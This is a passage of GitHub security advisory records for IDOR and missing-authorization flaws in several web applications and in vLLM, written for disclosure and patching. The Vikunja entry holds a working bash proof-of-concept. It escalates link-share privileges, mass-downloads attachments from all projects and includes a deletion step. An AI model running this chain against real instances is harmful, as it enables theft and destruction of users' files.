CWE-639

{
  "affected": [],
  "aliases": [
    "CVE-2026-108689"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-11T02:16:36Z",
    "severity": "MODERATE"
  },
  "details": "Wukong AICRM through 20260610 contains a missing authorization vulnerability that allows authenticated users to write into other users\u0027 AI chat sessions by supplying an arbitrary sessionId to POST /chat/send. Attackers can append messages to a victim\u0027s conversation and receive streamed assistant replies built from the victim\u0027s last 20 messages, disclosing conversation content.",
  "id": "GHSA-2p74-f492-56xr",
  "modified": "2026-10-11T03:30:22Z",
  "published": "2026-10-11T03:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-108689"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AnkesKasty/cve-request-poc/blob/a7b6d1423555812d8efa26c91c5d0683164b31e5/Wukong-AICRM/poc_chat_send.py"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WuKongOpenSource/Wukong-AICRM/blob/cdd1fbc3187d2bcbf2cdf2be7d50c988959da356/backend/src/main/java/com/kakarote/ai_crm/service/impl/ChatServiceImpl.java#L270-L283"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/wukong-aicrm-through-20260610-authorization-bypass-via-user-controlled-session-id-in-post-chat-send"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-107130"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-11-05T18:17:00Z",
    "severity": "MODERATE"
  },
  "details": "Joomla Extension - balbooa.com - Unauthenticated deletion of submission/field files in Gridbox \u003c 2.20.5.0",
  "id": "GHSA-2pcj-5cmc-2hm6",
  "modified": "2026-11-05T18:33:16Z",
  "published": "2026-11-05T18:33:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-107130"
    },
    {
      "type": "WEB",
      "url": "https://www.balbooa.com/gridbox"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-14033"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-13T06:16:12Z",
    "severity": "MODERATE"
  },
  "details": "The ilGhera Support System for WooCommerce plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the \u0027get_ticket_content_callback\u0027 function in all versions up to, and including, 1.3.0. This makes it possible for unauthenticated attackers to view any support ticket content, including sensitive customer information and private communications, by providing a ticket ID.",
  "id": "GHSA-2pg2-2j8p-rhqw",
  "modified": "2026-10-01T00:32:48Z",
  "published": "2026-10-01T00:32:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14033"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wc-support-system/tags/1.2.6/includes/class-wc-support-system.php#L643"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wc-support-system/tags/1.2.6/includes/class-wc-support-system.php#L68"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wc-support-system/tags/1.3.1/includes/class-wc-support-system.php#L780"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wc-support-system/trunk/includes/class-wc-support-system.php#L643"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wc-support-system/trunk/includes/class-wc-support-system.php#L68"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/40ceea17-ec60-4775-8495-e2f7643d1b7c?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vllm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.30.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-105755"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T23:42:39Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Affected\n\n- **Ecosystem / package:** pip / `vllm`\n- **Affected versions:** vLLM \u2264 0.25.1 (confirmed on 0.25.1, commit [`752a3a504485`](https://github.com/vllm-project/vllm/tree/752a3a504485790a2e8491cacbb35c137339ad34)). The lower bound predates 0.25.1; maintainers can confirm how far back the flash late-interaction query cache reaches.\n\n## Summary\n\nOn late-interaction `/score` and `/rerank` deployments with flash late interaction enabled (the default for supported models), the worker caches per-request query embeddings under a key derived from the **caller-controlled** `X-Request-Id` header. A second concurrent request that reuses the victim\u0027s header value replaces the victim\u0027s cached query embedding before document scoring \u2014 so the victim\u0027s documents are scored against the **attacker\u0027s** query. Because the data-parallel router pins all requests sharing a cache key to the same engine, the collision is deterministic for an attacker who reuses the victim\u0027s `X-Request-Id`. Depending on timing, one request can also consume the shared use counter and force the other request into a late-interaction cache-miss error.\n\nThis is a remotely reachable, request-controlled cross-request integrity break on the standard scoring and reranking endpoints. It requires only that flash late interaction be enabled, which is the default for supported models.\n\n## Affected code\n\nLinks pinned to the confirmed commit [`752a3a504485`](https://github.com/vllm-project/vllm/tree/752a3a504485790a2e8491cacbb35c137339ad34) (v0.25.1):\n\n- [`vllm/entrypoints/serve/engine/serving.py#L117-L124`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/entrypoints/serve/engine/serving.py#L117-L124) \u2014 `_base_request_id()` copies the public `X-Request-Id` header directly.\n- [`vllm/entrypoints/pooling/base/serving.py#L109`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/entrypoints/pooling/base/serving.py#L109) \u2014 the frontend request id is `f\"{self.request_id_prefix}-{self._base_request_id(raw_request)}\"`.\n- [`vllm/entrypoints/pooling/scoring/serving.py#L211`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/entrypoints/pooling/scoring/serving.py#L211) \u2014 `flash_late_interaction()` (at [L191](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/entrypoints/pooling/scoring/serving.py#L191)) derives worker cache keys directly from that id: `query_keys = [f\"{ctx.request_id}-query-{i}\" for i in range(n_queries)]`.\n- [`vllm/v1/pool/late_interaction.py#L30-L36`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/v1/pool/late_interaction.py#L30-L36) \u2014 the data-parallel routing helper pins all requests sharing a `query_key` to the same engine via `crc32(query_key)`, making collisions deterministic.\n- [`vllm/v1/worker/gpu/pool/late_interaction_runner.py#L95`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/v1/worker/gpu/pool/late_interaction_runner.py#L95) \u2014 the worker stores query embeddings in a process-local cache keyed only by that string: `self._query_cache[query_key] = output.clone()`.\n\nThe caller-controlled header enters as the request id, and the flash late-interaction path derives the worker cache key directly from it:\n\n```python\n# vllm/entrypoints/serve/engine/serving.py Lines 116-126\n    @staticmethod\n    def _base_request_id(\n        raw_request: Request | None, default: str | None = None\n    ) -\u003e str | None:\n        \"\"\"Pulls the request id to use from a header, if provided\"\"\"\n        if raw_request is not None and (\n            (req_id := raw_request.headers.get(\"X-Request-Id\")) is not None\n        ):\n            return req_id\n\n        return random_uuid() if default is None else default\n```\n\n```python\n# vllm/entrypoints/pooling/scoring/serving.py Lines 207-212\n        n_queries = ctx.n_queries\n        n_docs = len(ctx.engine_inputs) - n_queries\n        query_engine_inputs = ctx.engine_inputs[:n_queries]\n\n        query_keys = [f\"{ctx.request_id}-query-{i}\" for i in range(n_queries)]\n        query_uses = [n_docs if n_queries == 1 else 1] * n_queries\n```\n\nThe worker then stores and reads the query embedding under that string with no check that the reader owns the entry \u2014 a colliding key returns another request\u0027s cached query, or (once the use counter is exhausted) raises a cache-miss error:\n\n```python\n# vllm/v1/worker/gpu/pool/late_interaction_runner.py Lines 91-107\n            if mode == LATE_INTERACTION_MODE_CACHE_QUERY:\n                assert query_uses is not None\n                # `output` can be a view into the current step\u0027s hidden-states\n                # buffer, so clone it before storing across scheduling steps.\n                self._query_cache[query_key] = output.clone()\n                self._query_uses[query_key] = query_uses\n                outputs[i] = torch.zeros((), device=output.device, dtype=torch.float32)\n                continue\n\n            if mode == LATE_INTERACTION_MODE_SCORE_DOC:\n                query_output = self._query_cache.get(query_key)\n                if query_output is None:\n                    raise ValueError(\n                        \"late-interaction query cache miss for key \"\n                        f\"{query_key!r}. Ensure query requests are executed \"\n                        \"before their paired document requests.\"\n                    )\n```\n\nThe bug is specific to the flash late-interaction path. Non-flash late-interaction scoring computes MaxSim directly from one request\u0027s in-memory outputs and does not create a cross-request worker cache key.\n\n## Impact\n\nA network client of the standard scoring API can, on a flash late-interaction `/score` or `/rerank` deployment:\n\n1. **Corrupt another user\u0027s results** \u2014 by reusing the victim\u0027s `X-Request-Id`, the attacker\u0027s query embedding overwrites the victim\u0027s cached entry, so the victim\u0027s documents are scored against the attacker\u0027s query (a cross-request integrity break).\n2. **Induce errors** \u2014 depending on timing, one request consumes the shared use counter and forces the other request into a late-interaction cache-miss error.\n\nBoth consequences follow deterministically from reusing the victim\u0027s header value, because same-key work is pinned to one engine. This is reachable through normal request handling and does not depend on any trusted inter-node network.\n\n\n## Suggested Fix\n\nDerive the flash late-interaction query-cache key from a server-generated, unforgeable per-request identifier (a `random_uuid()` namespace) rather than the caller-supplied `X-Request-Id`, and thread that key through the `PoolingServeContext` to the doc-scoring pass so both passes reuse the same key and a caller cannot address another request\u0027s cache entry.\n\nIn `vllm/entrypoints/pooling/scoring/serving.py`, the encode-queries pass mints a fresh namespace and stashes the keys on the context:\n\n```python\n-        query_keys = [f\"{ctx.request_id}-query-{i}\" for i in range(n_queries)]\n+        query_namespace = random_uuid()\n+        query_keys = [\n+            f\"late-interaction-{query_namespace}-query-{i}\" for i in range(n_queries)\n+        ]\n+        ctx.late_interaction_query_keys = query_keys\n```\n\nand the encode-docs pass reads those stored keys instead of re-deriving them from `ctx.request_id`:\n\n```python\n-        query_keys = [f\"{ctx.request_id}-query-{i}\" for i in range(n_queries)]\n+        query_keys = ctx.late_interaction_query_keys\n+        if query_keys is None:\n+            raise RuntimeError(\"Late-interaction query keys were not initialized.\")\n```\n\nThis requires adding the `late_interaction_query_keys: list[str] | None = None` field to `PoolingServeContext` (`vllm/entrypoints/pooling/typing.py`). Because the namespace is a server-generated UUID, colliding `X-Request-Id` values no longer produce a shared cache key; a regression test asserting exactly that (colliding request ids yield distinct query-cache keys) accompanies the change.\n\n## Credit\n\n**Reported by:** Patch the Planet (Trail of Bits + OpenAI collaboration)\n\nThis vulnerability was discovered using GPT-5.5-Cyber as part of the Patch the Planet security initiative.\n\n---\n\n**Proposed fix:** a fix for this issue is proposed in a public pull request: https://github.com/vllm-project/vllm/pull/51445",
  "id": "GHSA-2phq-3phc-84px",
  "modified": "2026-10-05T23:42:39Z",
  "published": "2026-10-05T23:42:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-2phq-3phc-84px"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/pull/51445"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/commit/ee17d0d869203ef9a35ad73358a4987bba14b1fc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vllm-project/vllm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/releases/tag/v0.30.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vLLM: Flash late-interaction scoring caches query embeddings under a caller-controlled request id \u2014 cross-request integrity break and induced errors on `/score` and `/rerank`"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-13692"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-14T06:15:20Z",
    "severity": "MODERATE"
  },
  "details": "The Return Refund and Exchange For WooCommerce \u2013 Return Management System, RMA Exchange, Wallet And Cancel Order Features plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.4.5 via several functions due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to overwrite linked refund image attachments, overwrite refund request message, overwrite order messages, and read order messages of other users.",
  "id": "GHSA-2pq9-46mh-w84j",
  "modified": "2025-02-25T21:31:33Z",
  "published": "2025-02-14T06:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13692"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/woo-refund-and-exchange-lite/trunk/common/class-woo-refund-and-exchange-lite-common.php#L127"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/woo-refund-and-exchange-lite/trunk/common/class-woo-refund-and-exchange-lite-common.php#L186"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/woo-refund-and-exchange-lite/trunk/common/class-woo-refund-and-exchange-lite-common.php#L374"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/woo-refund-and-exchange-lite/trunk/public/class-woo-refund-and-exchange-lite-public.php#L381"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3236486"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/dafbf6e2-1160-4551-a987-5e94c9157ff2?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-86743"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-09T14:17:22Z",
    "severity": "MODERATE"
  },
  "details": "Snipe-IT versions before 8.7.0 fail to properly scope asset acceptance report queries by company, allowing authenticated reports.view users to read pending acceptances across all companies. Attackers can access the unaccepted_assets report page or CSV export to disclose cross-company inventory details and assignee names without per-row access validation.",
  "id": "GHSA-2prw-f2c7-mxp8",
  "modified": "2026-09-09T15:35:12Z",
  "published": "2026-09-09T15:35:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/grokability/snipe-it/security/advisories/GHSA-7xrr-xm47-rc6w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86743"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/snipe-it-before-8.7.0-authorization-bypass-via-asset-acceptance-report"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.2.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T16:56:24Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nTwo independently-exploitable authorization flaws in Vikunja can be chained to allow an unauthenticated attacker to download and delete every file attachment across all projects in a Vikunja instance. The `ReadAll` endpoint for link shares exposes share hashes (including admin-level shares) to any user with read access, enabling permission escalation. The task attachment `ReadOne`/`GetTaskAttachment` endpoint performs permission checks against a user-supplied task ID but fetches the attachment by its own sequential ID without verifying the attachment belongs to that task, enabling cross-project file access.\n\n## Details\n\n### Vulnerability 1: Link Share Hash Disclosure (Permission Escalation Entry Point)\n\nTracked in https://github.com/go-vikunja/vikunja/security/advisories/GHSA-8hp8-9fhr-pfm9\n\nThe `LinkSharing.ReadAll()` method in `pkg/models/link_sharing.go:228-287` returns all link shares for a project, including the `Hash` field:\n\n```go\n// pkg/models/link_sharing.go:46-50\ntype LinkSharing struct {\n    ID   int64  `xorm:\"bigint autoincr not null unique pk\" json:\"id\" param:\"share\"`\n    Hash string `xorm:\"varchar(40) not null unique\" json:\"hash\" param:\"hash\"`  // \u2190 exposed in JSON\n    // ...\n}\n```\n\nThe ReadAll clears passwords but not hashes:\n```go\n// pkg/models/link_sharing.go:272-277\nfor _, s := range shares {\n    if sharedBy, has := users[s.SharedByID]; has {\n        s.SharedBy = sharedBy\n    }\n    s.Password = \"\"  // \u2190 password cleared, but hash remains\n}\n```\n\nA link share user with read-only access can call `GET /api/v1/projects/:project/shares` (routed at `pkg/routes/routes.go:483`) to discover all shares, then authenticate with an admin-level share hash.\n\n### Vulnerability 2: Cross-Project Attachment IDOR (Data Exfiltration)\n\nTracked in https://github.com/go-vikunja/vikunja/security/advisories/GHSA-jfmm-mjcp-8wq2\n\nThe `GetTaskAttachment` handler in `pkg/routes/api/v1/task_attachment.go:156-186` performs the permission check against the task ID supplied in the URL:\n\n```go\n// pkg/models/task_attachment_permissions.go:25-28\nfunc (ta *TaskAttachment) CanRead(s *xorm.Session, a web.Auth) (bool, int, error) {\n    t := \u0026Task{ID: ta.TaskID}  // \u2190 ta.TaskID from URL parameter\n    return t.CanRead(s, a)     // \u2190 checks if user can read THIS task\n}\n```\n\nBut `ReadOne` fetches the attachment by its own ID, ignoring the task:\n\n```go\n// pkg/models/task_attachment.go:110-111\nfunc (ta *TaskAttachment) ReadOne(s *xorm.Session, _ web.Auth) (err error) {\n    exists, err := s.Where(\"id = ?\", ta.ID).Get(ta)  // \u2190 fetches by attachment ID only\n    // ta.TaskID is now overwritten with the ACTUAL task ID from the database\n    // But the permission check already passed using the attacker-controlled task ID\n```\n\nThis means: specify a task you CAN access, but an attachment ID from a different project \u2192 permission check passes, wrong attachment is returned.\n\n### The Chain\n\n```\nLink share URL (public)\n    \u2192 POST /shares/{hash}/auth (get JWT)\n    \u2192 GET /projects/{id}/shares (discover admin share hash)\n    \u2192 POST /shares/{admin_hash}/auth (escalate to admin)\n    \u2192 GET /projects/{id}/tasks (find any accessible task ID)\n    \u2192 GET /tasks/{accessible_task}/attachments/{1..N} (enumerate ALL attachments)\n    \u2192 DELETE /tasks/{accessible_task}/attachments/{1..N} (destroy ALL attachments)\n```\n\n## PoC\n\n**Prerequisites:** A Vikunja instance with at least one link share (any permission level). The attacker only needs the link share URL.\n\n```bash\nVIKUNJA=\"http://localhost:3456/api/v1\"\n\n# Step 1: Authenticate with a known read-only link share hash\n# (Link share URLs look like: https://instance/share/HASH_HERE)\nSHARE_HASH=\"read-only-share-hash\"\n\nTOKEN=$(curl -s -X POST \"$VIKUNJA/shares/$SHARE_HASH/auth\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{}\u0027 | jq -r \u0027.token\u0027)\n\necho \"Got JWT: $TOKEN\"\n\n# Step 2: Discover all link shares for the project (including admin shares)\nPROJECT_ID=1  # from the link share JWT claims\n\nSHARES=$(curl -s \"$VIKUNJA/projects/$PROJECT_ID/shares\" \\\n  -H \"Authorization: Bearer $TOKEN\")\n\necho \"All shares exposed:\"\necho \"$SHARES\" | jq \u0027.[].hash\u0027  # All hashes visible, including admin shares\n\n# Step 3: Escalate to admin if available\nADMIN_HASH=$(echo \"$SHARES\" | jq -r \u0027.[] | select(.permission == 2) | .hash\u0027 | head -1)\n\nif [ -n \"$ADMIN_HASH\" ]; then\n  TOKEN=$(curl -s -X POST \"$VIKUNJA/shares/$ADMIN_HASH/auth\" \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{}\u0027 | jq -r \u0027.token\u0027)\n  echo \"Escalated to admin share: $ADMIN_HASH\"\nfi\n\n# Step 4: Get a task ID we can legitimately access\nTASK_ID=$(curl -s \"$VIKUNJA/projects/$PROJECT_ID/tasks\" \\\n  -H \"Authorization: Bearer $TOKEN\" | jq \u0027.[0].id\u0027)\n\necho \"Using accessible task: $TASK_ID\"\n\n# Step 5: Exploit attachment IDOR - enumerate ALL attachments across ALL projects\nfor ATTACHMENT_ID in $(seq 1 100); do\n  RESP=$(curl -s -o /tmp/attachment_$ATTACHMENT_ID -w \"%{http_code}\" \\\n    \"$VIKUNJA/tasks/$TASK_ID/attachments/$ATTACHMENT_ID\" \\\n    -H \"Authorization: Bearer $TOKEN\")\n\n  if [ \"$RESP\" = \"200\" ]; then\n    echo \"Downloaded attachment $ATTACHMENT_ID (from ANY project): /tmp/attachment_$ATTACHMENT_ID\"\n  fi\ndone\n\n# Step 6 (destructive, with admin share): Delete attachments from other projects\n# curl -s -X DELETE \"$VIKUNJA/tasks/$TASK_ID/attachments/$TARGET_ATTACHMENT_ID\" \\\n#   -H \"Authorization: Bearer $TOKEN\"\n```\n\n## Impact\n\n**Confidentiality (HIGH):** An attacker with a single publicly-shared link share URL can download every file attachment across all projects in the Vikunja instance. Attachment IDs are sequential integers, making enumeration trivial. This includes confidential documents, images, and any files uploaded by any user in any project.\n\n**Integrity (HIGH):** With the permission escalation from read-only to admin (via hash disclosure), the attacker can delete attachments from any project, causing data loss across the entire instance.\n\n**Attack prerequisites are minimal:** Link shares are designed to be publicly shared \u2014 they\u0027re the mechanism for sharing projects with external collaborators. A single leaked or intentionally-shared link share URL (even read-only) is sufficient to compromise all file attachments instance-wide.\n\n**Blast radius:** Every project, every task, every file attachment on the instance is exposed regardless of project membership, team boundaries, or access controls.\n\n## Recommended Fix\n\n**Fix 1 \u2014 Link Share Hash Disclosure:** Clear the hash field in ReadAll responses:\n\n```go\n// pkg/models/link_sharing.go \u2014 in ReadAll loop (~line 272)\nfor _, s := range shares {\n    if sharedBy, has := users[s.SharedByID]; has {\n        s.SharedBy = sharedBy\n    }\n    s.Password = \"\"\n    s.Hash = \"\"  // \u2190 ADD THIS: never expose hashes to other share holders\n}\n```\n\n**Fix 2 \u2014 Attachment IDOR:** Verify the attachment belongs to the specified task in both ReadOne and the download handler:\n\n```go\n// pkg/models/task_attachment.go \u2014 ReadOne\nfunc (ta *TaskAttachment) ReadOne(s *xorm.Session, _ web.Auth) (err error) {\n    exists, err := s.Where(\"id = ? AND task_id = ?\", ta.ID, ta.TaskID).Get(ta)\n    //                                ^^^^^^^^^^^^^^ ADD: verify task ownership\n    if err != nil {\n        return\n    }\n    // ...\n}\n```\n\nBoth fixes should be applied \u2014 the attachment IDOR is exploitable independently by any authenticated user, and the link share hash disclosure enables permission escalation even without the attachment bug.",
  "id": "GHSA-2pv8-4c52-mf8j",
  "modified": "2026-03-26T16:56:24Z",
  "published": "2026-03-26T16:56:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2pv8-4c52-mf8j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-8hp8-9fhr-pfm9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-jfmm-mjcp-8wq2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://vikunja.io/changelog/vikunja-v2.2.2-was-released"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikunja: Unauthenticated Instance-Wide Data Breach via Link Share Hash Disclosure Chained with Cross-Project Attachment IDOR"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-63163"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-13T20:17:31Z",
    "severity": "HIGH"
  },
  "details": "Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability in the MobileFileDownload route that allows unauthenticated attackers to download arbitrary files by computing an md5(filename) token instead of passing a proper authorization check. Attackers can guess or determine file names to generate the corresponding md5 token and retrieve protected files without authorization, leading to unauthorized information disclosure.",
  "id": "GHSA-2pxm-2w6p-33p8",
  "modified": "2026-10-13T21:37:25Z",
  "published": "2026-10-13T21:37:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63163"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xech/agora-project/releases/tag/26.10"
    },
    {
      "type": "WEB",
      "url": "https://www.agora-project.net"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/omnispace-agora-project-broken-access-control-via-mobilefiledownload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Weblate"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55228"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T18:47:29Z",
    "nvd_published_at": "2026-08-26T21:16:38Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nThe API did not properly handle project- and workspace-scoped teams and allowed setting invalid configurations, including granting access to projects the user has no access to.\n\n### Patches\n* https://github.com/WeblateOrg/weblate/pull/19970\n\n\n### References\n\nParts of this issue were independently reported by four reporters:\n * @H3xV0rT3x via GitHub\n * [imhego](https://hackerone.com/imhego) via HackerOne\n * [v01demort](https://hackerone.com/v01demort) via HackerOne\n * [b4nder](https://hackerone.com/b4nder) via HackerOne",
  "id": "GHSA-2q2q-jr9g-v9rf",
  "modified": "2026-08-28T18:47:29Z",
  "published": "2026-08-28T18:47:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WeblateOrg/weblate/security/advisories/GHSA-2q2q-jr9g-v9rf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55228"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WeblateOrg/weblate/pull/19970"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WeblateOrg/weblate/commit/19babc99b05f2cc299b5090f90f79d8181f25d79"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WeblateOrg/weblate"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Weblate has IDOR in GroupViewSet that allows authenticated project manager to gain unauthorized read access to any private project"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-5395"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
